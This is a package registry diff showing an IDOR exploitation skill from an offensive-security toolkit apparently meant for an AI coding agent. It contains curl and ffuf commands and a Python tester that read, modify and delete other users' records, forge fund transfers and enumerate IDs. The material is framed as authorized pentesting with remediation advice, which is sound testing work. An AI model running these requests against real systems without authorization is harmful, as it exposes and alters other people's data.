open-sploit 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (81) hide show
  1. package/LICENSE +21 -0
  2. package/README.md +75 -0
  3. package/bin/install.mjs +158 -0
  4. package/package.json +27 -0
  5. package/template/agent/offsec.md +53 -0
  6. package/template/command/target.md +45 -0
  7. package/template/config/opencode.example.json +46 -0
  8. package/template/skills/api-security-testing/SKILL.md +61 -0
  9. package/template/skills/conducting-api-security-testing/LICENSE +201 -0
  10. package/template/skills/conducting-api-security-testing/SKILL.md +195 -0
  11. package/template/skills/conducting-api-security-testing/references/api-reference.md +62 -0
  12. package/template/skills/conducting-api-security-testing/scripts/agent.py +228 -0
  13. package/template/skills/exploiting-api-injection-vulnerabilities/LICENSE +201 -0
  14. package/template/skills/exploiting-api-injection-vulnerabilities/SKILL.md +481 -0
  15. package/template/skills/exploiting-api-injection-vulnerabilities/references/api-reference.md +103 -0
  16. package/template/skills/exploiting-api-injection-vulnerabilities/scripts/agent.py +142 -0
  17. package/template/skills/exploiting-http-request-smuggling/LICENSE +201 -0
  18. package/template/skills/exploiting-http-request-smuggling/SKILL.md +343 -0
  19. package/template/skills/exploiting-http-request-smuggling/references/api-reference.md +53 -0
  20. package/template/skills/exploiting-http-request-smuggling/scripts/agent.py +196 -0
  21. package/template/skills/exploiting-idor-vulnerabilities/LICENSE +201 -0
  22. package/template/skills/exploiting-idor-vulnerabilities/SKILL.md +309 -0
  23. package/template/skills/exploiting-idor-vulnerabilities/references/api-reference.md +52 -0
  24. package/template/skills/exploiting-idor-vulnerabilities/scripts/agent.py +177 -0
  25. package/template/skills/exploiting-jwt-algorithm-confusion-attack/LICENSE +201 -0
  26. package/template/skills/exploiting-jwt-algorithm-confusion-attack/SKILL.md +472 -0
  27. package/template/skills/exploiting-jwt-algorithm-confusion-attack/references/api-reference.md +99 -0
  28. package/template/skills/exploiting-jwt-algorithm-confusion-attack/scripts/agent.py +132 -0
  29. package/template/skills/exploiting-nosql-injection-vulnerabilities/LICENSE +201 -0
  30. package/template/skills/exploiting-nosql-injection-vulnerabilities/SKILL.md +219 -0
  31. package/template/skills/exploiting-nosql-injection-vulnerabilities/assets/template.md +30 -0
  32. package/template/skills/exploiting-nosql-injection-vulnerabilities/references/api-reference.md +85 -0
  33. package/template/skills/exploiting-nosql-injection-vulnerabilities/references/standards.md +19 -0
  34. package/template/skills/exploiting-nosql-injection-vulnerabilities/references/workflows.md +23 -0
  35. package/template/skills/exploiting-nosql-injection-vulnerabilities/scripts/agent.py +136 -0
  36. package/template/skills/exploiting-nosql-injection-vulnerabilities/scripts/process.py +222 -0
  37. package/template/skills/exploiting-oauth-misconfiguration/LICENSE +201 -0
  38. package/template/skills/exploiting-oauth-misconfiguration/SKILL.md +316 -0
  39. package/template/skills/exploiting-oauth-misconfiguration/references/api-reference.md +59 -0
  40. package/template/skills/exploiting-oauth-misconfiguration/scripts/agent.py +232 -0
  41. package/template/skills/exploiting-prototype-pollution-in-javascript/LICENSE +201 -0
  42. package/template/skills/exploiting-prototype-pollution-in-javascript/SKILL.md +239 -0
  43. package/template/skills/exploiting-prototype-pollution-in-javascript/references/api-reference.md +102 -0
  44. package/template/skills/exploiting-prototype-pollution-in-javascript/scripts/agent.py +156 -0
  45. package/template/skills/exploiting-race-condition-vulnerabilities/LICENSE +201 -0
  46. package/template/skills/exploiting-race-condition-vulnerabilities/SKILL.md +246 -0
  47. package/template/skills/exploiting-race-condition-vulnerabilities/references/api-reference.md +84 -0
  48. package/template/skills/exploiting-race-condition-vulnerabilities/scripts/agent.py +119 -0
  49. package/template/skills/exploiting-server-side-request-forgery/LICENSE +201 -0
  50. package/template/skills/exploiting-server-side-request-forgery/SKILL.md +354 -0
  51. package/template/skills/exploiting-server-side-request-forgery/references/api-reference.md +57 -0
  52. package/template/skills/exploiting-server-side-request-forgery/scripts/agent.py +183 -0
  53. package/template/skills/exploiting-sql-injection-vulnerabilities/LICENSE +201 -0
  54. package/template/skills/exploiting-sql-injection-vulnerabilities/SKILL.md +205 -0
  55. package/template/skills/exploiting-sql-injection-vulnerabilities/references/api-reference.md +60 -0
  56. package/template/skills/exploiting-sql-injection-vulnerabilities/scripts/agent.py +196 -0
  57. package/template/skills/exploiting-sql-injection-with-sqlmap/LICENSE +201 -0
  58. package/template/skills/exploiting-sql-injection-with-sqlmap/SKILL.md +257 -0
  59. package/template/skills/exploiting-sql-injection-with-sqlmap/references/api-reference.md +74 -0
  60. package/template/skills/exploiting-sql-injection-with-sqlmap/scripts/agent.py +217 -0
  61. package/template/skills/exploiting-template-injection-vulnerabilities/LICENSE +201 -0
  62. package/template/skills/exploiting-template-injection-vulnerabilities/SKILL.md +322 -0
  63. package/template/skills/exploiting-template-injection-vulnerabilities/references/api-reference.md +55 -0
  64. package/template/skills/exploiting-template-injection-vulnerabilities/scripts/agent.py +205 -0
  65. package/template/skills/exploiting-type-juggling-vulnerabilities/LICENSE +201 -0
  66. package/template/skills/exploiting-type-juggling-vulnerabilities/SKILL.md +272 -0
  67. package/template/skills/exploiting-type-juggling-vulnerabilities/references/api-reference.md +87 -0
  68. package/template/skills/exploiting-type-juggling-vulnerabilities/scripts/agent.py +141 -0
  69. package/template/skills/exploiting-websocket-vulnerabilities/LICENSE +201 -0
  70. package/template/skills/exploiting-websocket-vulnerabilities/SKILL.md +424 -0
  71. package/template/skills/exploiting-websocket-vulnerabilities/references/api-reference.md +62 -0
  72. package/template/skills/exploiting-websocket-vulnerabilities/scripts/agent.py +211 -0
  73. package/template/skills/hackerone/SKILL.md +137 -0
  74. package/template/skills/hackerone/reference/INTEGRATION_GUIDE.md +199 -0
  75. package/template/skills/hackerone/reference/sensitive-data-tracking.md +134 -0
  76. package/template/skills/hackerone/tools/__init__.py +0 -0
  77. package/template/skills/hackerone/tools/csv_parser.py +185 -0
  78. package/template/skills/hackerone/tools/report_validator.py +285 -0
  79. package/template/skills/hackerone/tools/sensitive_data_tracker.py +495 -0
  80. package/template/skills/owasp-top-10-testing/SKILL.md +64 -0
  81. package/template/skills/web-app-penetration-testing/SKILL.md +54 -0
@@ -0,0 +1,309 @@
1
+ ---
2
+ name: exploiting-idor-vulnerabilities
3
+ description: Identifying and exploiting Insecure Direct Object Reference vulnerabilities
4
+ to access unauthorized resources by manipulating object identifiers in API requests
5
+ and URLs.
6
+ domain: cybersecurity
7
+ subdomain: web-application-security
8
+ tags:
9
+ - penetration-testing
10
+ - idor
11
+ - access-control
12
+ - owasp
13
+ - burpsuite
14
+ - web-security
15
+ version: '1.0'
16
+ author: mahipal
17
+ license: Apache-2.0
18
+ nist_csf:
19
+ - PR.PS-01
20
+ - ID.RA-01
21
+ - PR.DS-10
22
+ - DE.CM-01
23
+ mitre_attack:
24
+ - T1190
25
+ - T1059.007
26
+ - T1505.003
27
+ - T1083
28
+ ---
29
+
30
+ # Exploiting IDOR Vulnerabilities
31
+
32
+ ## When to Use
33
+
34
+ - During authorized penetration tests when testing access control on resource endpoints
35
+ - When APIs or web pages use predictable identifiers (numeric IDs, UUIDs, slugs) in URLs or request bodies
36
+ - For validating that object-level authorization is enforced across all CRUD operations
37
+ - When testing multi-tenant applications where users should only access their own data
38
+ - During bug bounty programs targeting broken access control vulnerabilities
39
+
40
+ ## Prerequisites
41
+
42
+ - **Authorization**: Written penetration testing agreement for the target application
43
+ - **Burp Suite Professional**: With Authorize extension installed from BApp Store
44
+ - **Two test accounts**: At least two separate user accounts with different permission levels
45
+ - **Burp Authorize Extension**: For automated IDOR testing across sessions
46
+ - **curl/httpie**: For manual request crafting
47
+ - **Browser**: Configured to proxy through Burp Suite
48
+
49
+ ## Workflow
50
+
51
+ ### Step 1: Map All Object References in the Application
52
+
53
+ Identify every endpoint that references objects by ID across the application.
54
+
55
+ ```bash
56
+ # Browse the application through Burp proxy with User A
57
+ # Review Burp Target > Site Map for endpoints with object references
58
+
59
+ # Common IDOR-prone endpoints to look for:
60
+ # GET /api/users/{id}
61
+ # GET /api/orders/{id}
62
+ # GET /api/invoices/{id}/download
63
+ # PUT /api/users/{id}/profile
64
+ # DELETE /api/posts/{id}
65
+ # GET /api/documents/{id}
66
+ # GET /api/messages/{conversation_id}
67
+
68
+ # Extract all endpoints with IDs from Burp proxy history
69
+ # Burp > Proxy > HTTP History > Filter by target domain
70
+ # Look for patterns: /resource/123, ?id=123, {"user_id": 123}
71
+
72
+ # Check different ID formats:
73
+ # Numeric sequential: /users/101, /users/102
74
+ # UUID: /users/550e8400-e29b-41d4-a716-446655440000
75
+ # Base64 encoded: /users/MTAx (decodes to "101")
76
+ # Hashed: /users/5d41402abc4b2a76b9719d911017c592
77
+ # Slug: /users/john-doe
78
+ ```
79
+
80
+ ### Step 2: Configure Burp Authorize Extension for Automated Testing
81
+
82
+ Set up the Authorize extension to automatically replay requests with a different user's session.
83
+
84
+ ```
85
+ # Install Authorize from BApp Store:
86
+ # Burp > Extender > BApp Store > Search "Authorize" > Install
87
+
88
+ # Configuration:
89
+ # 1. Log in as User B (victim) in a separate browser/incognito
90
+ # 2. Copy User B's session cookie/authorization header
91
+ # 3. In Authorize tab > Configuration:
92
+ # - Add User B's cookies in "Replace cookies" section
93
+ # - Or add User B's Authorization header in "Replace headers"
94
+
95
+ # Example header replacement:
96
+ # Original (User A): Authorization: Bearer <token_A>
97
+ # Replace with (User B): Authorization: Bearer <token_B>
98
+
99
+ # 4. Enable "Intercept requests from Repeater"
100
+ # 5. Enable "Intercept requests from Proxy"
101
+
102
+ # Authorize will show:
103
+ # - Green: Properly restricted (different response for different user)
104
+ # - Red: Potentially vulnerable (same response regardless of user)
105
+ # - Orange: Uncertain (needs manual verification)
106
+ ```
107
+
108
+ ### Step 3: Test Horizontal IDOR (Same Privilege Level)
109
+
110
+ Attempt to access resources belonging to another user at the same privilege level.
111
+
112
+ ```bash
113
+ # Authenticate as User A (ID: 101)
114
+ TOKEN_A="Bearer eyJ..."
115
+
116
+ # Get User A's own resources
117
+ curl -s -H "Authorization: $TOKEN_A" \
118
+ "https://target.example.com/api/v1/users/101/profile" | jq .
119
+
120
+ # Attempt to access User B's resources (ID: 102) with User A's token
121
+ curl -s -H "Authorization: $TOKEN_A" \
122
+ "https://target.example.com/api/v1/users/102/profile" | jq .
123
+
124
+ # Compare responses - if both return 200 with data, IDOR is confirmed
125
+
126
+ # Test across different resource types
127
+ for resource in profile orders invoices messages documents; do
128
+ echo "--- Testing $resource ---"
129
+ # User A's resource
130
+ curl -s -o /dev/null -w "Own: %{http_code} " \
131
+ -H "Authorization: $TOKEN_A" \
132
+ "https://target.example.com/api/v1/users/101/$resource"
133
+ # User B's resource
134
+ curl -s -o /dev/null -w "Other: %{http_code}\n" \
135
+ -H "Authorization: $TOKEN_A" \
136
+ "https://target.example.com/api/v1/users/102/$resource"
137
+ done
138
+
139
+ # Test with POST/PUT/DELETE for write-based IDOR
140
+ curl -s -X PUT -H "Authorization: $TOKEN_A" \
141
+ -H "Content-Type: application/json" \
142
+ -d '{"name":"Hacked"}' \
143
+ "https://target.example.com/api/v1/users/102/profile"
144
+ ```
145
+
146
+ ### Step 4: Test Vertical IDOR (Cross Privilege Level)
147
+
148
+ Attempt to access admin or elevated resources with a regular user token.
149
+
150
+ ```bash
151
+ # As regular user, try accessing admin user profiles
152
+ curl -s -H "Authorization: $TOKEN_A" \
153
+ "https://target.example.com/api/v1/users/1/profile" | jq .
154
+
155
+ # Try accessing admin-specific resources
156
+ curl -s -H "Authorization: $TOKEN_A" \
157
+ "https://target.example.com/api/v1/admin/reports/1" | jq .
158
+
159
+ # Test accessing resources across organizational boundaries
160
+ # User in Org A trying to access Org B's resources
161
+ curl -s -H "Authorization: $TOKEN_A" \
162
+ "https://target.example.com/api/v1/organizations/2/settings" | jq .
163
+
164
+ # Test file download IDOR
165
+ curl -s -H "Authorization: $TOKEN_A" \
166
+ "https://target.example.com/api/v1/invoices/999/download" -o test.pdf
167
+ file test.pdf
168
+ ```
169
+
170
+ ### Step 5: Test IDOR in Non-Obvious Locations
171
+
172
+ Look for IDOR in request bodies, headers, and indirect references.
173
+
174
+ ```bash
175
+ # IDOR in request body parameters
176
+ curl -s -X POST -H "Authorization: $TOKEN_A" \
177
+ -H "Content-Type: application/json" \
178
+ -d '{"sender_id": 101, "recipient_id": 102, "amount": 1}' \
179
+ "https://target.example.com/api/v1/transfers"
180
+
181
+ # Change sender_id to another user
182
+ curl -s -X POST -H "Authorization: $TOKEN_A" \
183
+ -H "Content-Type: application/json" \
184
+ -d '{"sender_id": 102, "recipient_id": 101, "amount": 1000}' \
185
+ "https://target.example.com/api/v1/transfers"
186
+
187
+ # IDOR in file references
188
+ curl -s -H "Authorization: $TOKEN_A" \
189
+ "https://target.example.com/api/v1/files?path=/users/102/documents/secret.pdf"
190
+
191
+ # IDOR in GraphQL
192
+ curl -s -X POST -H "Authorization: $TOKEN_A" \
193
+ -H "Content-Type: application/json" \
194
+ -d '{"query":"{ user(id: 102) { email phone ssn } }"}' \
195
+ "https://target.example.com/graphql"
196
+
197
+ # IDOR via parameter pollution
198
+ curl -s -H "Authorization: $TOKEN_A" \
199
+ "https://target.example.com/api/v1/users/101/profile?user_id=102"
200
+
201
+ # IDOR in bulk operations
202
+ curl -s -X POST -H "Authorization: $TOKEN_A" \
203
+ -H "Content-Type: application/json" \
204
+ -d '{"ids": [101, 102, 103, 104, 105]}' \
205
+ "https://target.example.com/api/v1/users/bulk"
206
+ ```
207
+
208
+ ### Step 6: Enumerate and Escalate Impact
209
+
210
+ Determine the full scope of data exposure through IDOR.
211
+
212
+ ```bash
213
+ # Enumerate valid object IDs
214
+ ffuf -u "https://target.example.com/api/v1/users/FUZZ/profile" \
215
+ -w <(seq 1 500) \
216
+ -H "Authorization: $TOKEN_A" \
217
+ -mc 200 -t 10 -rate 20 \
218
+ -o valid-users.json -of json
219
+
220
+ # Count total accessible records
221
+ jq '.results | length' valid-users.json
222
+
223
+ # Check what sensitive data is exposed per record
224
+ curl -s -H "Authorization: $TOKEN_A" \
225
+ "https://target.example.com/api/v1/users/102/profile" | \
226
+ jq 'keys'
227
+ # Look for: email, phone, address, ssn, payment_info, password_hash
228
+
229
+ # Test IDOR on state-changing operations
230
+ # Can User A delete User B's resources?
231
+ curl -s -X DELETE -H "Authorization: $TOKEN_A" \
232
+ "https://target.example.com/api/v1/users/102/posts/1" \
233
+ -w "%{http_code}"
234
+ # WARNING: Only test DELETE on known test data, never on real user data
235
+ ```
236
+
237
+ ## Key Concepts
238
+
239
+ | Concept | Description |
240
+ |---------|-------------|
241
+ | **Horizontal IDOR** | Accessing resources belonging to another user at the same privilege level |
242
+ | **Vertical IDOR** | Accessing resources requiring higher privileges than the current user has |
243
+ | **Direct Object Reference** | Using a database key, file path, or identifier directly in API parameters |
244
+ | **Indirect Object Reference** | Using a mapped reference (e.g., index) that the server resolves to the actual object |
245
+ | **Object-Level Authorization** | Server-side check that the requesting user is authorized to access the specific object |
246
+ | **Predictable IDs** | Sequential numeric identifiers that allow easy enumeration of valid objects |
247
+ | **UUID Randomness** | Using UUIDv4 makes enumeration harder but does not replace authorization checks |
248
+
249
+ ## Tools & Systems
250
+
251
+ | Tool | Purpose |
252
+ |------|---------|
253
+ | **Burp Suite Professional** | HTTP proxy with Intruder for ID enumeration and Repeater for manual testing |
254
+ | **Authorize (Burp Extension)** | Automated IDOR testing by replaying requests with different user sessions |
255
+ | **AutoRepeater (Burp Extension)** | Automatically repeats requests with modified authorization headers |
256
+ | **Postman** | API testing with environment variables for switching between user contexts |
257
+ | **ffuf** | Fast fuzzing of object ID parameters |
258
+ | **OWASP ZAP** | Free proxy alternative with access control testing plugins |
259
+
260
+ ## Common Scenarios
261
+
262
+ ### Scenario 1: Invoice Download IDOR
263
+ The `/invoices/{id}/download` endpoint generates PDF invoices. By incrementing the invoice ID, any authenticated user can download invoices belonging to other customers, exposing billing addresses and payment details.
264
+
265
+ ### Scenario 2: User Profile Data Leak
266
+ The `/api/users/{id}` endpoint returns full user profiles including email, phone, and address. The API only checks if the request has a valid token but never verifies whether the token owner matches the requested user ID.
267
+
268
+ ### Scenario 3: File Access via Path Manipulation
269
+ A document management system stores files at `/files/{user_id}/{filename}`. By changing the `user_id` path segment, users can access private documents uploaded by other users.
270
+
271
+ ### Scenario 4: Message Thread Hijacking
272
+ A messaging endpoint at `/api/conversations/{id}/messages` allows any authenticated user to read messages in any conversation by changing the conversation ID.
273
+
274
+ ## Output Format
275
+
276
+ ```
277
+ ## IDOR Vulnerability Finding
278
+
279
+ **Vulnerability**: Insecure Direct Object Reference (Horizontal IDOR)
280
+ **Severity**: High (CVSS 7.5)
281
+ **Location**: GET /api/v1/users/{id}/profile
282
+ **OWASP Category**: A01:2021 - Broken Access Control
283
+
284
+ ### Reproduction Steps
285
+ 1. Authenticate as User A (ID: 101) and obtain JWT token
286
+ 2. Send GET /api/v1/users/101/profile with User A's token (returns own profile)
287
+ 3. Change the ID to 102: GET /api/v1/users/102/profile with User A's token
288
+ 4. Observe that User B's full profile is returned including PII
289
+
290
+ ### Affected Endpoints
291
+ | Endpoint | Method | Impact |
292
+ |----------|--------|--------|
293
+ | /api/v1/users/{id}/profile | GET | Read PII of any user |
294
+ | /api/v1/users/{id}/orders | GET | Read order history of any user |
295
+ | /api/v1/users/{id}/profile | PUT | Modify profile of any user |
296
+ | /api/v1/invoices/{id}/download | GET | Download any user's invoices |
297
+
298
+ ### Impact
299
+ - 15,000+ user profiles accessible (enumerated IDs 1-15247)
300
+ - Exposed fields: name, email, phone, address, date_of_birth
301
+ - Write IDOR allows profile modification of other users
302
+ - Violates GDPR data access controls
303
+
304
+ ### Recommendation
305
+ 1. Implement object-level authorization: verify the requesting user owns or has permission to access the requested object
306
+ 2. Use non-enumerable identifiers (UUIDv4) as a defense-in-depth measure
307
+ 3. Log and alert on sequential ID enumeration patterns
308
+ 4. Implement rate limiting on resource endpoints
309
+ ```
@@ -0,0 +1,52 @@
1
+ # API Reference: IDOR Vulnerability Testing Agent
2
+
3
+ ## Dependencies
4
+
5
+ | Library | Version | Purpose |
6
+ |---------|---------|---------|
7
+ | requests | >=2.28 | HTTP client for API endpoint testing |
8
+
9
+ ## CLI Usage
10
+
11
+ ```bash
12
+ python scripts/agent.py \
13
+ --url https://target.example.com \
14
+ --token-a "eyJ..." --token-b "eyJ..." \
15
+ --endpoints "/api/v1/users/{id}/profile" "/api/v1/orders/{id}" \
16
+ --own-id 101 --other-id 102 \
17
+ --output idor_report.json
18
+ ```
19
+
20
+ ## IDORTester Class
21
+
22
+ ### `__init__(base_url, user_a_token, user_b_token, verify_ssl)`
23
+ Creates two `requests.Session` objects with different Bearer tokens for cross-user testing.
24
+
25
+ ### `test_horizontal_idor(endpoint_template, own_id, other_id, method) -> dict`
26
+ Accesses own resource then another user's resource with the same token. IDOR confirmed when both return 200 with different content.
27
+
28
+ ### `test_vertical_idor(endpoint, method) -> dict`
29
+ Accesses admin-only endpoints with a regular user token. Status 200 indicates missing authorization.
30
+
31
+ ### `test_id_enumeration(endpoint_template, id_range, method) -> dict`
32
+ Iterates over an ID range to discover valid objects. Returns count and sample IDs.
33
+
34
+ ### `test_write_idor(endpoint_template, other_id, payload) -> dict`
35
+ Sends PUT with another user's ID to test write-based IDOR. Status 200/201/204 indicates vulnerability.
36
+
37
+ ### `test_cross_session(endpoint_template, resource_id) -> dict`
38
+ Compares response hashes between two sessions for the same resource to detect missing authorization checks.
39
+
40
+ ### `generate_report() -> dict`
41
+ Returns all accumulated findings with severity assessment.
42
+
43
+ ## Output Schema
44
+
45
+ ```json
46
+ {
47
+ "target": "https://target.example.com",
48
+ "total_findings": 2,
49
+ "findings": [{"type": "horizontal", "endpoint": "/api/v1/users/{id}/profile", "vulnerable": true}],
50
+ "severity": "High"
51
+ }
52
+ ```
@@ -0,0 +1,177 @@
1
+ #!/usr/bin/env python3
2
+ # For authorized testing in lab/CTF environments only
3
+ """IDOR vulnerability detection agent using requests with multi-session comparison."""
4
+
5
+ import argparse
6
+ import json
7
+ import logging
8
+ import sys
9
+ import hashlib
10
+
11
+ try:
12
+ import requests
13
+ except ImportError:
14
+ sys.exit("requests is required: pip install requests")
15
+
16
+ logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
17
+ logger = logging.getLogger(__name__)
18
+
19
+
20
+ class IDORTester:
21
+ """Tests for Insecure Direct Object Reference vulnerabilities."""
22
+
23
+ def __init__(self, base_url: str, user_a_token: str, user_b_token: str,
24
+ verify_ssl: bool = False):
25
+ self.base_url = base_url.rstrip("/")
26
+ self.verify = verify_ssl
27
+ self.session_a = requests.Session()
28
+ self.session_a.headers.update({"Authorization": f"Bearer {user_a_token}"})
29
+ self.session_a.verify = verify_ssl
30
+ self.session_b = requests.Session()
31
+ self.session_b.headers.update({"Authorization": f"Bearer {user_b_token}"})
32
+ self.session_b.verify = verify_ssl
33
+ self.findings = []
34
+
35
+ def _response_hash(self, resp: requests.Response) -> str:
36
+ return hashlib.md5(resp.content).hexdigest()
37
+
38
+ def test_horizontal_idor(self, endpoint_template: str, own_id: str,
39
+ other_id: str, method: str = "GET") -> dict:
40
+ """Test horizontal IDOR by accessing another user's resource."""
41
+ own_url = f"{self.base_url}{endpoint_template.replace('{id}', own_id)}"
42
+ other_url = f"{self.base_url}{endpoint_template.replace('{id}', other_id)}"
43
+
44
+ own_resp = self.session_a.request(method, own_url, timeout=10)
45
+ other_resp = self.session_a.request(method, other_url, timeout=10)
46
+
47
+ vulnerable = (
48
+ other_resp.status_code == 200
49
+ and own_resp.status_code == 200
50
+ and self._response_hash(other_resp) != self._response_hash(own_resp)
51
+ )
52
+ result = {
53
+ "type": "horizontal",
54
+ "endpoint": endpoint_template,
55
+ "method": method,
56
+ "own_status": own_resp.status_code,
57
+ "other_status": other_resp.status_code,
58
+ "vulnerable": vulnerable,
59
+ "own_content_length": len(own_resp.content),
60
+ "other_content_length": len(other_resp.content),
61
+ }
62
+ if vulnerable:
63
+ self.findings.append(result)
64
+ logger.warning("IDOR FOUND: %s %s", method, endpoint_template)
65
+ return result
66
+
67
+ def test_vertical_idor(self, endpoint: str, method: str = "GET") -> dict:
68
+ """Test vertical IDOR by accessing admin endpoints with regular user token."""
69
+ url = f"{self.base_url}{endpoint}"
70
+ resp = self.session_a.request(method, url, timeout=10)
71
+ vulnerable = resp.status_code == 200
72
+ result = {
73
+ "type": "vertical",
74
+ "endpoint": endpoint,
75
+ "method": method,
76
+ "status_code": resp.status_code,
77
+ "vulnerable": vulnerable,
78
+ "content_length": len(resp.content),
79
+ }
80
+ if vulnerable:
81
+ self.findings.append(result)
82
+ logger.warning("Vertical IDOR: %s %s (status=%d)", method, endpoint, resp.status_code)
83
+ return result
84
+
85
+ def test_id_enumeration(self, endpoint_template: str, id_range: range,
86
+ method: str = "GET") -> dict:
87
+ """Enumerate valid object IDs via response code analysis."""
88
+ valid_ids = []
89
+ for obj_id in id_range:
90
+ url = f"{self.base_url}{endpoint_template.replace('{id}', str(obj_id))}"
91
+ try:
92
+ resp = self.session_a.request(method, url, timeout=5)
93
+ if resp.status_code == 200:
94
+ valid_ids.append(obj_id)
95
+ except requests.RequestException:
96
+ continue
97
+ logger.info("Enumerated %d valid IDs in range %d-%d", len(valid_ids),
98
+ id_range.start, id_range.stop)
99
+ return {
100
+ "endpoint": endpoint_template,
101
+ "range_tested": f"{id_range.start}-{id_range.stop}",
102
+ "valid_ids_found": len(valid_ids),
103
+ "sample_ids": valid_ids[:10],
104
+ }
105
+
106
+ def test_write_idor(self, endpoint_template: str, other_id: str,
107
+ payload: dict) -> dict:
108
+ """Test write-based IDOR via PUT/PATCH with another user's ID."""
109
+ url = f"{self.base_url}{endpoint_template.replace('{id}', other_id)}"
110
+ resp = self.session_a.put(url, json=payload, timeout=10)
111
+ vulnerable = resp.status_code in (200, 201, 204)
112
+ result = {
113
+ "type": "write_idor",
114
+ "endpoint": endpoint_template,
115
+ "method": "PUT",
116
+ "target_id": other_id,
117
+ "status_code": resp.status_code,
118
+ "vulnerable": vulnerable,
119
+ }
120
+ if vulnerable:
121
+ self.findings.append(result)
122
+ logger.warning("Write IDOR: PUT %s (status=%d)", endpoint_template, resp.status_code)
123
+ return result
124
+
125
+ def test_cross_session(self, endpoint_template: str, resource_id: str) -> dict:
126
+ """Compare responses between two authenticated sessions for the same resource."""
127
+ url = f"{self.base_url}{endpoint_template.replace('{id}', resource_id)}"
128
+ resp_a = self.session_a.get(url, timeout=10)
129
+ resp_b = self.session_b.get(url, timeout=10)
130
+ same_response = self._response_hash(resp_a) == self._response_hash(resp_b)
131
+ result = {
132
+ "endpoint": endpoint_template,
133
+ "resource_id": resource_id,
134
+ "user_a_status": resp_a.status_code,
135
+ "user_b_status": resp_b.status_code,
136
+ "same_response": same_response,
137
+ "missing_authz": resp_a.status_code == 200 and resp_b.status_code == 200 and same_response,
138
+ }
139
+ return result
140
+
141
+ def generate_report(self) -> dict:
142
+ """Compile IDOR assessment results."""
143
+ return {
144
+ "target": self.base_url,
145
+ "total_findings": len(self.findings),
146
+ "findings": self.findings,
147
+ "severity": "High" if self.findings else "None",
148
+ }
149
+
150
+
151
+ def main():
152
+ parser = argparse.ArgumentParser(description="IDOR Vulnerability Testing Agent")
153
+ parser.add_argument("--url", required=True, help="Base URL of the target API")
154
+ parser.add_argument("--token-a", required=True, help="JWT token for User A")
155
+ parser.add_argument("--token-b", required=True, help="JWT token for User B")
156
+ parser.add_argument("--endpoints", nargs="+", default=["/api/v1/users/{id}/profile"])
157
+ parser.add_argument("--own-id", default="101", help="User A's resource ID")
158
+ parser.add_argument("--other-id", default="102", help="User B's resource ID")
159
+ parser.add_argument("--output", default="idor_report.json")
160
+ args = parser.parse_args()
161
+
162
+ tester = IDORTester(args.url, args.token_a, args.token_b)
163
+ all_results = []
164
+ for ep in args.endpoints:
165
+ result = tester.test_horizontal_idor(ep, args.own_id, args.other_id)
166
+ all_results.append(result)
167
+ report = tester.generate_report()
168
+ report["test_details"] = all_results
169
+
170
+ with open(args.output, "w") as f:
171
+ json.dump(report, f, indent=2)
172
+ logger.info("Report saved to %s", args.output)
173
+ print(json.dumps(report, indent=2))
174
+
175
+
176
+ if __name__ == "__main__":
177
+ main()